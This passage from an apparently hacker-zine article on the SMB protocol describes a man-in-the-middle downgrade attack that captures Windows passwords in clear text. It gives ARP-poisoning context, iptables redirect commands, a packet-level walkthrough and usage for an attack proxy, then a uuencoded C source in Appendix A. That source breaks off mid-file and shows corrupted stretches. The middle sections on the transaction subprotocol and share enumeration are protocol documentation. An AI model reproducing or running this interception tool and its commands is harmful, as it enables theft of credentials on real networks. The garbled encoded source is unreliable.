"SecurityMode" field which allows password encryption or not. So if you want to have a password in clear when all is encrypted, you have two possibilities. The first one is to catch the encryption key and the encrypted password and brute force it ! It can be very long ... Some programs like LophtCrack (with SMBGrinder), dsniff or readsmb2 sniff SMB encrypted passwords. The second way is to hijack the connection and to make the client believe that the password should not be encrypted. This technic is a bit complex to explain, but I will say how to do it ! If the server is configured to encrypt password, the SMB negprot reply packet has the bit 1 of the "SecurityMode" field armed. But if an attacker sends a negprot reply packet with this bit equal to zero before the server, the password will be in clear in the SessetupX request packet . negprot request [client] ------------------------> [server] [attacker waits for a negprot request] [client] <-------------| [server] | fake negprot reply | [attacker sends his fake neprot reply] real negprot reply [client] <---------------------------------- [server] [attacker (does nothing)] sessetupX request with the password in clear text [client] ----------------------------------> [server] [attacker sniffs the password in clear text] These diagrams illustrate a direct packet injection on the network. In majority of case, this method doesn't work because the fake negprot reply could treated after the real. There is also other problems, session failures, validity of password, does not work in a switched environment... We can avoid all of these problems by using Arp-Poisoning. I will not explain and describe what is ARP-Poisoning, you could find a lot of docs about it on internet . But, if you don't know what it is, you just have to know that this attack allow the attacker to redirect and modify the traffic between the server and the client. If you consider this situation, the attacker is between the both. He is the man in the middle ... ----[ 6.6 - Man in the middle attack "Attack where your enemy is not expecting you" Sun Tzu, "The art of war" Now I will describe the man in the middle attack. This attack allow you to bypass switches, to avoid connection failures and to grab the password in clear. Let's consider that the traffic between the client and the server is redirected by the attacker ( thanks to ARP poisoning !). The client requests a SMB session to the server. The client will send packets to the SMB port (139) of the server. The attacker receives them. But the attacker doesn't redirect the packet to the server. The whole incoming traffic to the server's SMB port (so to the attacker's machine) is redirected on the local port 1139 of the attacker (very easy to do with NAT and iptables). The whole traffic (not only SMB) is redirected also with iptables and NAT. On the port 1139, there is a program (a transparent proxy program) that assumes the modification and redirection of the SMB packets. The two iptables/NAT commands are : To redirect the incoming traffic (on port 139 ) to a local port (1139 for example). #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client To redirect the whole traffic #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE What are the modifications ? : The attacker modifies the negprot reply to have password in clear text. The attacker recovers also the encryption key. The attacker set to zero the value of the length of the encryption key and put the domain name instead of the encryption key. He sets the encryption bit of the "SecurityMode" field to 0. With this, the password will not be encrypted. The client will send the password in clear in a sesssetupx request. When the attacker has the password, he encrypts it with the encryption key recovered before and sends the sesssetupx request (with the encrypted password) to the server. The server sends a sesssetupx reply to accept or refuse the session. The attacker redirects the sesssetupx reply and the whole traffic after. The session will not fail and nobody has saw our man in the middle !. Description : ARP-P ARP-P [client] <--------- [attacker] ---------> [server] The attacker processes to a ARP Poisoning attack to redirect the whole traffic between the two machines. [client] <---------> [attacker] <---------> [server] The traffic redirection is operated with NAT and iptables. port 139 [client] -----------------> [attacker] [server] The attacker receives the first packet to the SMB server port. [client] ----------------->[attacker 139] [server] | V [attacker 1139] The attacker redirects it to the port 1139. On the port 1139, our proxy program is listening. negprot request [client] -----------------> [attacker] [server] The attacker receives the negprot request. negprot request [client] [attacker]---------------> [server] The attacker redirects directly the negprot request to the server. negprot reply [client] [attacker] <---------------------------- [server] (encryption bit set to have password encrypted) The server replies with a negprot reply with the encryption bit set to have the password encrypted. The attacker doesn't redirects this packet. He changes the encryption bit to have plain text password . negprot reply [client] <----------------------------- [attacker] [server] (encryption bit set to have plain text password ) The attacker sends the modified negprot reply with the encryption bit changed to have the password in clear text. sesssetupX request [client] ------------------------> [attacker] [server] (password in clear text) The client sends the password in clear text, the attacker recovers it. sesssetupX request [client] [attacker] ---------------------> [server] (password encrypted) The attacker sends a sesssetupx request to the server with the encrypted password. sesssetupX reply [client] <------------- [attacker] <---------------- [server] The servers sends the sesssetupx reply. The attacker redirects it. [client] <------------> [attacker] <--------------> [server] The attacker continues to redirect traffic between the two machines until the end of the SMB session. The implementation of the man in the middle attack is given in the Appendix A (the NAT and iptables rules are given also). Take a look at the source code, you will learn a lot of details !. ----[ 6.7 - Notes about windows 2k/XP SMB operating over TCP/IP As I wrote before, on Windows 2k/XP, SMB can run directly over TCP. The SMB server is listening incoming connexions on port 445. But it's not so "directly". In fact instead of having a NETBIOS header which is 4 bytes long, we have a other header which is 4 bytes long too. Description : |---------------| | TCP | |---------------| |SPECIAL HEADER | |---------------| | SMB BASE HDR | |---------------| This special header is defined like this : UCHAR Zero; // Set to zero UCHAR Length[3];// Count of data bytes (the 4 bytes of the header are not included) This special header is not very different than the NETBIOS header. You will understand why. This is the NETBIOS header : UCHAR Type; // Type of the packet UCHAR Flags; // Flags USHORT Length; // Count of data bytes (netbios header not included) When SMB is running over TCP, the NETBIOS request session should be not used. In fact, the NETBIOS names of the client and of the server should not be sent. So the value of the "Type" field in the NETBIOS is always equal to zero (the "Type" field is different from zero when the client sends his encoded NETBIOS name - Type = 0x81 - and when it receives the reply - Type = 0x82 -). Remember, during the SMB session the Type field is equal to zero ( it's the "Type" code for the NETBIOS session message). For the first byte nothing is different. For the last three bytes now : The "Flags" field of the NETBIOS header is always set to zero. The length of the packet only takes the two last bytes of the special header. The three last bytes are the same. To conclude there is no difference between the NETBIOS and the special header when NETBIOS is not used. Downgrade attack : If the client (running on windows XP or 2k) has NBT enabled, it always try to connect to the port 139 and 445 simultaneously. If the client has a response from the port 445, the client will send a RST packet to the port 139. If the client has no response from the port 445, it will try to connect on port 139. If it has no response from the both, the session will fail. If the client has NBT disabled, the client will try on the port 445 only. To perform a Downgrade attack i.e force the client to not use the port 445 and to use the port 139, you have to make believe to the client that the 445 is closed. With the transparent proxy attack it's very easy, with iptables you have just to redirect the incoming traffic on the attacker's machine on port 445 to a closed port. With this the client will use the port 139 (the iptables rules for this is given in appendix A). This will work if NBT is enabled. If the client has NBT disabled, the transparent proxy will operate the SMB traffic on port 445. You've got an option on the program for this. Ok, we have finished with the attack for recovering passwords. We will study now an another important part of SMB. --[ 7 - Transaction subprotocol and RAP commands I will explain in this chapter a panel of special (and obscur ) SMB commands : the RAP commands. These commands use the transaction subprotocol. I will also describe this subprotocol. ----[ 7.1 - The transaction subprotocol When a large amount of data is sent during a SMB session or if there is a specific operation requested,the SMB protocol includes a transaction subprotocol. The transaction subprotocol is mainly used for SMB Remote Procedure Calls : The RAP commands (RAP for Remote Administration Protocol). But I will explain it later. The transaction subprotocol is not a derived protocol of SMB. The transaction subprotocol is just an other command for SMB. So the transaction subprotocol is layered on SMB base header and the command code for the transaction subprotocol is 0x25. Like the other commands there is a request and a reply. This is the Transaction request header : UCHAR WordCount; Count of parameter words; value = (14 + value of the "SetupCount" field) USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT MaxParameterCount; Max parameter bytes to return USHORT MaxDataCount; Max data bytes to return UCHAR MaxSetupCount; Max setup words to return UCHAR Reserved; USHORT Flags; Additional information: bit 0 - also disconnect TID in TID bit 1 - one-way transaction (no response) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data UCHAR SetupCount; Count of setup words UCHAR Reserved3; Reserved (pad above to word) USHORT Setup[SetupCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes STRING Name[]; Name of transaction (NULL if SMB_COM_TRANSACTION2) UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameters[ Parameter bytes (# = ParameterCount) ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[ DataCount ]; Data bytes (# = DataCount) In a majority of case, a RAP command sent with Transaction subprotocol may need several Transaction packets for sending the parameters and data bytes. The parameters bytes are usually sent first, followed by the data bytes. If several transaction packets must be involved, the server sends this small packet for acknoledgement between each transaction packets : Interim Reply packets : UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes = 0 For the transaction request header, the "TotalParameterCount" field represents a count of paramaters bytes to be sent and it's the same for the "TotalDataCount" field (count of data bytes to be sent). The offset from the start of the SMB base header to the parameters bytes and the data bytes are given with the "ParameterOffset" and "DataOffset" fields. The parameters bytes are in the "Parameters" field. The data bytes are in the "Data" field. You must understand that these "Parameters" and "Data" fields are used for the RAP command. "Parameters" contains the parameters bytes for the RAP command and "Data", the data bytes. The fields for "DataCount" and "ParameterCount" represent respectivily the count of data bytes and the count of parameters bytes present in the considereted transaction packet. If these fields are equal to the "TotalParameterCount" and the "TotalDataCount", it involved that all parameter and data bytes fit in a single packet. If they are not, it involved that the server (for request) or the client (for reply) must wait for another packets. When all packets are received, the parameter and data bytes are marshalled for analysis. Take a look at the field "WordCount", it contains the value : 14 + "SetupCount" field, in majority of case SetupCount is equal to 0. The Transaction reply header: There is not a big difference between the reply and the request UCHAR WordCount; Count of data bytes; value = 10 + "Setupcount" field. USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT Reserved; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT ParameterDisplacement; Displacement of these Parameter bytes USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data USHORT DataDisplacement; Displacement of these data bytes UCHAR SetupCount; Count of setup words UCHAR Reserved2; Reserved (pad above to word) USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameter bytes (# = ParameterCount) Parameters[ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[DataCount]; Data bytes (# = DataCount) The client must use the "ParameterOffset" and "DataOffset" to know the offset (from the beginning of the SMB base header) of data and parameters bytes. ----[ 7.2 - RAP commands RAP (Remote Administration Protocol) is the SMB implementation of RPC. RAP request : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REQUEST HDR| |---------------------------| |RAP REQUEST PARAMETERS | |---------------------------| |RAP REQUEST DATAS | |---------------------------| RAP Reply : |---------------------------| |TCP HDR | |---------------------------| |NETBIOS HDR | |---------------------------| |SMB BASE HDR | |---------------------------| |SMB TRANSACTION REPLY HDR | |---------------------------| |RAP REPLY PARAMETERS | |---------------------------| |RAP REPLY DATAS | |---------------------------| When you use a RAP command you always find the string "\PIPE\LANMAN" in the "Name" field in the transaction (request and reply) header. These are several examples of RAP commands : -NETSHAREENUM : Retrieve information about each shared ressource on a server -NETSERVERENUM2 : List all the computer of specified types in a specified domain -NETSERVERGETINFO : Get information about a specified server -NETSHAREGETINFO : Retrieve information about a paticular shared ressource -NETWKSTAUSERLOGON : Execute on a SMB server for logging an user. -NETWSTAUSERLOGOFF : The same but for deloging. -NETUSERGETINFO : Obtain information about a particular user. -NETWKSTAGETINFO : Obtain information about a particular station. -SAMOEMCHANGEPASSWORD : For changing the password of a specified user on a remote SMB server. I'm not going to describe all of these commands, I will just take one for example (to have a listing of shared resource avaible on a server). If you want to know more about RAP commands read [2]. --[ 8 - Using RAP commands to list available shares on a server This part is a complement of the previous chapter. I will explain how the RAP commands work by giving an example. The program given in Appendix B is the implementation of what is explained in this chapter. It does the same things that the commands "net view \\ServerIP" (for DOS) or "smbclient -L ServerIP -N " (on Linux). But this program allows you to specified the NETBIOS name, it is a bit anonymous. If you read this source you will learn a lot a things about SMB network programming. How I can retrieve SMB everyone shares on a network : The process is easy to understand. The client must be authentificated on the server . The client identifies itself with the process developed in chapter 3 (with no password). When the server has checked the identity of the client, the client sends a Tconx request (after the Sessetupx reply). Tconx means "Tree CONnect and X). The TconX request packet is used to acess to a shared ressource. ----[ 8.1 - Tconx Packets Request header The TconX packets are layered on the SMB Base Header ("Command" = 0x75). UCHAR WordCount; Count of parameter words = 4 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Flags; Additional information USHORT PasswordLength; Length of Password[] USHORT ByteCount; Count of data bytes; min = 3 UCHAR Password[]; Password STRING Path[]; Server name and share name STRING Service[]; Service name The password was sent during the session establishement. The Password length is set to 1 and and the Password string contains null value (0x00). The string "Path" contains the name of the ressource that client wishes connect. It use the unicode style syntax . For example I want to connect on a share called "myshare" on a server called "myserver" . The Path string will containt "\\myserver\myshare". The "Service" string contains the type of ressource requested : string Type of ressource "A:" disk share. "LPT1:" printer. "IPC" named pipe. "COMM" communications device. "?????" any type of device. For scaning any type of device you must use the "?????" string in the "Service" field. After sending your Tconx request on the server. The server replies with a TconX reply. You must recover the "Tid" field (in the SMB Base header) which is the Transaction request with the RAP command. You must specified to the server that you want to know which ressources are available. For this, you must use the RAP command : NETSHAREENUM. ----[ 8.2 - Explanation of the RAP command "NetShareEnum" : The RAP command that we will study is NetShareEnum. The RAP Command "NetshareEnum" request : The field "Parameters" of the transaction request header received : The 16 bit code of function NetShareEnum : 0; The parameter desriptor string : "WrLeh" Data descriptor string for returned data : "B13BWZ" A 16 bit integer with a value of x01; A 16 bit integer that contains the size of the receive buffer. It will be too long to explain how parameter and data descriptor strings works. These strings are used to know the size and the format of parameters and datas. One parameter and one data descriptor string is defined for each RAP command. if you want to know more about this strings, read [2]. No datas are needed for this request so the "DataCount" and "TotalDataCount" fields are equal to zero. |--------------------------------------------| | NETBIOS HDR |---------> 4 bytes |--------------------------------------------| | SMB BASE HDR |---------> 32 Bytes |--------------------------------------------| | SMB TRANSACTION REQUEST HDR | |--------------------------------------------| The Transaction request "Parameters" field receives the parameters for the RAP request : |--------------| | 0x0000 | ----------------------------------------> A |--------------|--------------|--------------| | W r | L e | h 0x00|-----------> B |--------------|--------------|--------------|-------| | B 1 | 3 B | W Z | 0x00 |---> C |--------------|--------------|--------------|-------| | 0x0001 | 0xffff |--------------------------> D |--------------|--------------| A : The NetshareEmun function code : 0x00 B : The parameter descriptor string C : The data descriptor string D : 0x01 (defined value) and 0xffff (Max size of the received buffer) And the server replies : the "Parameters" field of the transaction reply header receives : A 16 bit integer word that contains the return status code : Succes 0 Access Denied 5 Network Acess Denied 65 More data 234 Server not started 2114 Transaction configuration bad 2141 A 16 bit "converted word", uses to calculate an offset to remark strings. A 16 bit containts the number of entries returned = number of SHARE_INFO structure (see below ). A 16 bit representing the number of available entries. The field "Data" of the transaction reply header contains the several SHARE_INFO structures. The SHARE_INFO structure contains the information about each shared ressource available and it is defined like this : struct SHARE_INFO { char shi1_netname[13]; /*Name of the ressource*/ char shi1_pad; /*Pad to a word*/ unsigned short shi1_type; /*Code specifies the type of the shared resssource : 0 Disk Directory tree 1 Printer queue 2 Communications device 3 IPC*/ char *shi1_remark; /*Remark on the specified ressource*/ } shi1_remark is a 32 bits pointer to a string. This string contains a remark about a shared ressource. You must substract the 16 lower bits of "shi1_remark" to the "converter word" to know the offset between this string and the beginning of the RAP reply parameters header. In fact with a ascii schema : |--------------------------------------------| | NETBIOS HDR |------------> 4 bytes |--------------------------------------------| | SMB BASE HDR |------------> 32 Bytes |--------------------------------------------| | SMB TRANS REPLY HDR | |--------------------------------------------| Description of the "Parameters" section of the Transaction reply packet (corresponding to the parameters of the NetShareEnum reply) : |--------------------------------------------| | status code |-------------> 2 bytes |--------------------------------------------| | converted word |-------------> 2 bytes |--------------------------------------------| | number of entries returned |-------------> 2 bytes |--------------------------------------------| | number of entries available |-------------> 2 bytes |--------------------------------------------| Data section of the Transaction reply (corresponding to the several SHARE_INFO structures if there is more than one ressource available) : |--------------------------------------------| | shi1_netname |-----------> 13 bytes |--------------------------------------------| | shi1_pad to pad to word |-----------> 1 byte |--------------------------------------------| | type of service |-----------> 2 bytes |--------------------------------------------| | pointer to remark string |-----------> 4 bytes |--------------------------------------------| . Another SHARE_INFO structures . |--------------------------------------------| | remark string 1 | |--------------------------------------------| | another remarks strings | |--------------------------------------------| --[ 9 - Conclusion : I hope you have learned a lot of things in this article. If you have any comments, questions, send it at : --[ 10 - References [1] "A common Internet File System (CIFS/1.0) Protocol Preliminary Draft", Paul J.Leach and Dilip C. Naik http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf [2] "CIFS Remote Administration Protocol Preliminary Draft" Paul J.Leach and Dilip C. Naik http://us6.samba.org/samba/ftp/specs/cifsrap2.txt [3] RFC 1001 http://www.faqs.org/rfcs/rfc1001.html [4] RFC 1002 http://www.faqs.org/rfcs/rfc1002.html --[ 11 - Thanks Just a Merry Christmas to TearDrop, Frealek and "el Tonio". A big thank to TearDrop for all. Without him, nothing could be possible ! Take a look at , you will find a very good (and free) scanner !. Thanks to Mr D. (my network administrator !), for all the advices and the several Linux distribs. Thanks to the Chemical brothers for the inspirational music. Thanks to the phrack staff, for all their remarks and particulary about the transparent proxy attack. To you for reading this article ;). --[ Appendix A This program allows you to have password in clear directly from the network when they should be encrypted. It works with libnet (v 1.1 !) and libpcap. This is the implementation of the Transparent proxy attack of the chapter 6.6. libnet : www.packetfactory.net libpcap : www.tcpdump.org You must be root to compile and to execute this program ! If you want to compile it, you could use : "gcc SMBproxy.c -o SMBproxy -lnet -lpcap" If you want to use it : "SMBproxy -i interface -c Client's IP address -s Server's IP address -f your fake IP (what you want : 6.6.6.6 for example)" -l listening port (1139 by default) Be careful the program will ask you about Windows 2k/XP specifictions support. But you must answer "y" when NBT is disabled not when it's enabled on Windows 2k/XP ! You give the IP adress of a client and of the server, this program waits a connection of the client to a SMBserver, launches the attack, recovers the password and redirects the traffic. The fake IP parameter corresponds to your fake IP, give what you want ! The attacker's machine should have no active connections with the server or with the client (like FTP or telnet ...). The default listening port is 1139 This program gives the password and the user name (if necessary). It also gives the security level (share or user). If the connection has succeeded, it gives the name of the share and a message like "password valid". If it has failed, it gives nothing (just the password and the user name). This program should be compiled on Linux for some technical reasons, like the network byte ordering. You shouldn't use it on the loopback interface. Support Windows 2k/XP specifications. This is the iptables/NAT command to execute on the attacker's machine To redirect incoming traffic to port 139 on port 1139 #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client. To redirect the whole traffic #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE To redirect incoming traffic to port 445 on port 1139 (for Windows 2k/XP client with NBT disabled) #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 445 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client. if you want to perform the downgrade attack of the chapter 6.8 remplace the port 1139 by a closed port. Be careful, for the traffic redirection, this line must be present in the /etc/sysconfig/network : FORWARD_IPV4=true This program doesn't support UNICODE strings. Successfully tested with samba server 2.0 . begin 600 smb_MiM_proxy.c M+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@("`@ M("`@(%--0B!-04X@24X@5$A%($U)1$1,12!!5%1!0TL-"B`@("`@("`@("`@ M("`@("`@("`@("`@("`@("!#;V1E9"!B>2!L961I;@T*("`@("`@("`@("`@ M("`@("`@("`@("!L961I;D!E;F-E<&AA;&]N+7IE2`A M#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B-I;F-L=61E(#QS=&1I M;RYH/@T*(VEN8VQU9&4@/'-T7,O=V%I="YH/@T* M(VEN8VQU9&4@/'-Y7,O7!E9&5F('-TPT*('5?:6YT.%]T(%1Y<&4["0DO M*G1Y<&4J+PD-"B!U7VEN=#A?="!&;&%G$9&+"=334(G M*B\-"B!U7VEN=#A?="!#;VUM86YD.PDO*D-O;6UA;F0@0V]D92HO#0H@=6YI M;VX@#0H@>PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@17)R;W)#;&%S MPT*("!U7VEN=#A? M="!0861;,3)=.PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@4&ED2&EG M:%LR73L)+RI(:6=H(%!A'1R83L-"B!U M7VEN=#A?="!4:61;,ET["2\J5')E92!)9&5N=&EF:65R*B\-"B!U7VEN=#A? M="!0:61;,ET["2\J0V%L;&5R)W,@<')O8V5SPT*('5?:6YT.%]T(%=O"!T6EN M9R!T:&ES('-E7-T96U4:6UE M3&]W6S1=.PDO*E-Y7-T96U4:6UE2&EG:%LT73L)+RI3>7-T96T@*%540RD@ M=&EM92!O9B!T:&4@4QE;F=T:#L)+RI,96YG=&@@;V8@ M96YC71E4AD2`H6"D@8V]M;6%N9"PP M>$9&(#T@;F]N92HO#0H@=5]I;G0X7W0@06YD6%)E&EM=6X@8G5F M9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>$UP>$-O=6YT6S)=.PDO*F%C='5A M;"!M87AI;75N(&UU;'1I<&QE>&5D(')E<75E71E0V]U;G1; M,ET["2\J0V]U;G0@;V8@9&%T82!B>71E7!T*'5?8VAA2AC;VYS="!U;G-I9VYE9"!C:&%R("HL=6YS:6=N960@8VAA MF4@;V8@25`@861R97-S*B\-"B`@("`@("`@("`@("`@("`@ M("`@("`@($%24$]07U)%4$Q9+`T*("`@("`@("`@("`@("`@("`@("`@("`@ M16YE=$-L:65N="PO*F-L:65N="=S($U!0R!A9')E2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E7!E*B\-"@D)"0D@;"D[ M#0H-"@T*+RI7PT*(&QI8FYE=%]T("IL.PT*(&QI8FYE=%]P=&%G M7W0@5&%G.PT*(&-H87(@17)R0G5F6TQ)0DY%5%]%4E)"549?4TE:15T[#0H- M"B!S=')U8W0@<&-A<%]P:W1H9'(@2&5A9&5R.PT*#0H@=5]I;G0S,E]T($%R M<%-R8SL-"B!U7VEN=#,R7W0@07)P1'-T.PT*#0H@S!X M,"PP>#`L,'@P+#!X,"PP>#`L,'@P?3L@#0H@#0H@=5]C:&%R($)R;V%D8V%S M=%M%5$A?04Q%3ET@/2![,'AF9BPP>&9F+#!X9F8L,'AF9BPP>&9F+#!X9F9] M.PT*#0HO*DQI8FYE="!I;FET:6%L:7IA=&EO;BHO#0H-"B!L(#T@;&EB;F5T M7VEN:70H3$E"3D547TQ)3DLL1&5V:6-E+$5R2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E M7!E*B\- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(&PI.PT*#0H-"B\J M5W)I=&4@=&AE(%!A8VME="!W:7)E*B\-"@T*(&QI8FYE=%]WPT*("!086-K970@/2`H M=5]C:&%R("HI('!C87!?;F5X="A$97-CF5O M9BAU7VEN=#,R7W0I*3L-"B`@("!M96UC<'DH)D%R<$1S="P@*'5?:6YT,S)? M="`J*2`H07)P2&1R+3YAPT*#0H@("`@(&UE;6-P M>2@H=5]C:&%R("HI("A%;F5T1'-T*2P-"B`@("`@("`@("`@("AU7V-H87(@ M*BD@*$%R<$AD7)I9VAT("A#*2!!;F1R97<@5')I9&=E;&P@,3DY,BTQ M.3DX#0H@("!-;V1I9FEE9"!B>2!*97)E;7D@06QL:7-O;B`Q.3DU+@T*("`@ M#0H@("!4:&ES('!R;V=R86T@:7,@9G)E92!S;V9T=V%R93L@>6]U(&-A;B!R M961I0T*("`@:70@=6YD97(@=&AE M('1E6]U2!L871E71E(")C7!T*'5C:&%R("IP87-S=V0L('5C:&%R("IC."P@=6-H87(@*G`R-"D-"GL- M"B!U8VAAPT*('5C:&%R('`R,5LR,5T[#0H@#0H@#0H@#0H);65M2!O9@T*("`@34520TA!3E1!0DE,2519(&]R($9) M5$Y%4U,@1D]2($$@4$%25$E#54Q!4B!055)03U-%+B`@4V5E('1H90T*("`@ M1TY5($=E;F5R86P@4'5B;&EC($QI8V5N2!O9B!T M:&4@1TY5($=E;F5R86P@4'5B;&EC($QI8V5N6]U(&%R92!C;VYC M97)N960-"B`@(&%B;W5T('1H92!A<'!L:6-A8FEL:71Y(&]F($E405(@6]U#0H@("!S:&]U;&0@8V]N M9FER;2!I="!F;W(@>6]US4X+"`U M,"P@-#(L(#,T+"`R-BP@,3@L(#$P+"`@,BP-"@D)"38P+"`U,BP@-#0L(#,V M+"`R."P@,C`L(#$R+"`@-"P-"@D)"38R+"`U-"P@-#8L(#,X+"`S,"P@,C(L M(#$T+"`@-BP-"@D)"38T+"`U-BP@-#@L(#0P+"`S,BP@,C0L(#$V+"`@."P- M"@D)"34W+"`T.2P@-#$L(#,S+"`R-2P@,3R`@("`@(#$V+"`@-RP@,C`L(#(Q+`T*("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@,CDL(#$R+"`R."P@,3S$L M(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#%] M.PT*#0IS=&%T:6,@=6-H87(@%LX75LT75LQ-ET@/2![#0I[>S$T+"`@ M-"P@,3,L("`Q+"`@,BP@,34L(#$Q+"`@."P@(#,L(#$P+"`@-BP@,3(L("`U M+"`@.2P@(#`L("`W?2P-"B![,"P@,34L("`W+"`@-"P@,30L("`R+"`Q,RP@ M(#$L(#$P+"`@-BP@,3(L(#$Q+"`@.2P@(#4L("`S+"`@.'TL#0H@>S0L("`Q M+"`Q-"P@(#@L(#$S+"`@-BP@(#(L(#$Q+"`Q-2P@,3(L("`Y+"`@-RP@(#,L M(#$P+"`@-2P@(#!]+`T*('LQ-2P@,3(L("`X+"`@,BP@(#0L("`Y+"`@,2P@ M(#S$U M+"`@,2P@(#@L(#$T+"`@-BP@,3$L("`S+"`@-"P@(#DL("`W+"`@,BP@,3,L M(#$R+"`@,"P@(#4L(#$P?2P-"B![,RP@,3,L("`T+"`@-RP@,34L("`R+"`@ M."P@,30L(#$R+"`@,"P@(#$L(#$P+"`@-BP@(#DL(#$Q+"`@-7TL#0H@>S`L M(#$T+"`@-RP@,3$L(#$P+"`@-"P@,3,L("`Q+"`@-2P@(#@L(#$R+"`@-BP@ M(#DL("`S+"`@,BP@,35]+`T*('LQ,RP@(#@L(#$P+"`@,2P@(#,L(#$U+"`@ M-"P@(#(L(#$Q+"`@-BP@(#S$P+"`@,"P@(#DL(#$T+"`@-BP@(#,L(#$U+"`@-2P@(#$L(#$S+"`Q,BP@ M(#S$L(#$P+"`Q,RP@(#`L("`V+"`@ M.2P@(#@L("`W+"`@-"P@,34L(#$T+"`@,RP@,3$L("`U+"`@,BP@,3)]?2P- M"@T*>WLW+"`Q,RP@,30L("`S+"`@,"P@(#8L("`Y+"`Q,"P@(#$L("`R+"`@ M."P@(#4L(#$Q+"`Q,BP@(#0L(#$U?2P-"B![,3,L("`X+"`Q,2P@(#4L("`V M+"`Q-2P@(#`L("`S+"`@-"P@(#S,L(#$U+"`@,"P@(#8L(#$P M+"`@,2P@,3,L("`X+"`@.2P@(#0L("`U+"`Q,2P@,3(L("`W+"`@,BP@,31] M?2P-"@T*>WLR+"`Q,BP@(#0L("`Q+"`@-RP@,3`L(#$Q+"`@-BP@(#@L("`U M+"`@,RP@,34L(#$S+"`@,"P@,30L("`Y?2P-"B![,30L(#$Q+"`@,BP@,3(L M("`T+"`@-RP@,3,L("`Q+"`@-2P@(#`L(#$U+"`Q,"P@(#,L("`Y+"`@."P@ M(#9]+`T*('LT+"`@,BP@(#$L(#$Q+"`Q,"P@,3,L("`W+"`@."P@,34L("`Y M+"`Q,BP@(#4L("`V+"`@,RP@(#`L(#$T?2P-"B![,3$L("`X+"`Q,BP@(#WLQ,BP@(#$L(#$P+"`Q-2P@(#DL("`R+"`@-BP@(#@L("`P M+"`Q,RP@(#,L("`T+"`Q-"P@(#S$P+"`Q-2P@(#0L M("`R+"`@-RP@,3(L("`Y+"`@-2P@(#8L("`Q+"`Q,RP@,30L("`P+"`Q,2P@ M(#,L("`X?2P-"B![.2P@,30L(#$U+"`@-2P@(#(L("`X+"`Q,BP@(#,L("`W M+"`@,"P@(#0L(#$P+"`@,2P@,3,L(#$Q+"`@-GTL#0H@>S0L("`S+"`@,BP@ M,3(L("`Y+"`@-2P@,34L(#$P+"`Q,2P@,30L("`Q+"`@-RP@(#8L("`P+"`@ M."P@,3-]?2P-"@T*>WLT+"`Q,2P@(#(L(#$T+"`Q-2P@(#`L("`X+"`Q,RP@ M(#,L(#$R+"`@.2P@(#S$S+"`@,BP@(#@L("`T+"`@-BP@,34L(#$Q+"`@ M,2P@,3`L("`Y+"`@,RP@,30L("`U+"`@,"P@,3(L("`W?2P-"B![,2P@,34L M(#$S+"`@."P@,3`L("`S+"`@-RP@(#0L(#$R+"`@-2P@(#8L(#$Q+"`@,"P@ M,30L("`Y+"`@,GTL#0H@>S&]R*&-H87(@*F]U="P@8VAA(&EN,EMI73L-"GT-"@T*2P@<&5R;3$L M(#4V*3L-"@T*"69OPT*"0EL6VI=(#T@<&0Q6VI=.PT*"0ER M6VI=(#T@<&0Q6VHK,S)=.PT*"7T-"@T*"69O%MJ75MM75MN72`F M(`T*"0D)"0D)*#$\/"@S+6LI*2D_,3HP.R`-"@D)?0T*#0H)"69OPT*"0EK97E;:5T@/2`H:V5Y6VE=/#PQ*3L-"@E] M#0I]#0H-"@T*2AK97DL M(&ME>3(I.PT*#0H)9F]R("AI/3`[:3PV-#MI*RLI('L-"@D):6YB6VE=(#T@ M*&EN6VDO.%T@)B`H,3P\*#S!X-&(L(#!X 